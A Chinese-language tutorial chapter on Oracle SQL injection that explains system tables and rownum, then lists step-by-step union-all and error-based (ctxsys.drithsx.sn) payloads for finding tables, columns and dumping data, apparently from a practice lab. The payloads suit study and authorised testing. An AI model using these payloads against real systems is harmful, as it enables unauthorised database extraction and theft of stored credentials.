网络安全从入门到精通(第六章-5)Oracle注入 —— 报错注入

Oracle注入 —— 报错注入 每日一句: 技术是无罪的,有罪的是欲望和贪念 本文内容: ~注入函数解析 ~报错注入+联合查询(union all) ~实战注意

【网络安全从入门到精通(第六章-5)Oracle注入 —— 报错注入】一、注入函数解析
0,本章提示: Oracle注入比较麻烦,有点小难要有心理准备,原因是Oracle数据库本身比较复杂1,Oracle中的一个表 -- Dual 本质:为了满足语句格式而诞生的一个临时表 //有人说是实表,有人说是虚表,咱们不用再在意 用法: 在mysql中可能可以直接这么写select 1,2,3; select user(); //查询当前用户但Oracle语法结构严谨,这么写 select 1,2,3 from Dual; select user from Dual除此之外,还可以这么用:select dbms_random.random from dual//获取随机值 select 22+33 from dual//计算加减法 。。。。。等等很多小功能,有兴趣的同学可以自行探索2,查询系统自带表: select * from all_tables//查询出所有的字段 select * from user_tables//查询出当前用户的表 提示:Oracle数据库弱化了库的概念,主要以用户名作为区分 select * from all_tab_columns //查询出所有的字段 select * from user_tab_columns //查询当前用户所有的字段 3,补充: ~1, 所有数据库基本都区分大小写(引号内的内容), 但是字段名一般不区分,比如FROM==from~2,limit 字段是mysql特有的,Oracle数据库有类似的rownum,但是又区别例如: select *from user_tab_columns where tabIE_name='ADMIN' and rownum<=1 //输出1条数据 ; 当输出的是一条时,可以不写"<" select *from user_tab_columns where tabIE_name='ADMIN' and rownum<=3 //输出3条数据 ~3,屏蔽某个字段 select* from user_tab_columns where tabIE_name='ADMIN' and rownum=1 and COLUMN_NAME <> 'ID' //输出admin表中除了id字段所有内容 select* from user_tab_columns where tabIE_name='ADMIN' and rownum=1 and COLUMN_NAME <> 'ID' and COLUMN_NAME <> 'USER_NAME' //输出admin表中除了id,user_name字段的所有内容

二、报错注入+联合查询(union all)
1,判断注入点 url id=1' -- qwe 2,判断字段数 url id=1 ' order by 3 -- qwe 3,判断输出点 url id=1 ' union all select null,null,null from dual -- qwe 4,查询系统自带表 url' union all select 1,null,to_nclob(TABLE_NAME) from user_tables -- qwe //to_nclob()函数的作用:将值转换为 NCLOB 数据类型。这是偶然现象 5,得到字段 url' union all select 1,null,to_nclob(COLUMN_NAME) from user_tab_columns where TABLE_NAME='ADMIN' -- qwe //查询ADMIN内的字段,可以在最后增加限制:AND rownum=1 and COLUMN_NAME<>'ID'等等 6,查询内容 url' union all select 1,null,to_nclob(FLAG_FLAG) from ADMIN -- qwe 7,补充,查询当前用户 url' union all select 1,null,to_nclob(user) from DUAL -- qwe

三、实战注意
1,报错函数(类似updataxml()的用法) 用法: and 1=ctxsys.drithsx.sn(1,(select TABLE_NAME from user_tables where rownum=1))-- qwe//查询当前用户有什么表,这就是固定用法,这个函数我在网上也没找到太多的内容。 //报错注入,一次不能显示太多的数据and 1=ctxsys.drithsx.sn(1,(select TABLE_NAME from user_tables where rownum=1 and table_name <> 'ADMIN'))-- qwe //用了报错注入就不用纠结类型了,但是就是输出单行了 2,union all的用法 基本除了MySQL其他的数据库的联合查询都需要这么写。不然会报错 但是,mysql也是可以这么用的,MySQL用了加上all,会将重复的数据也显出 3,oracle的注释--这是单行注释/* 这是多行注释 */

    推荐阅读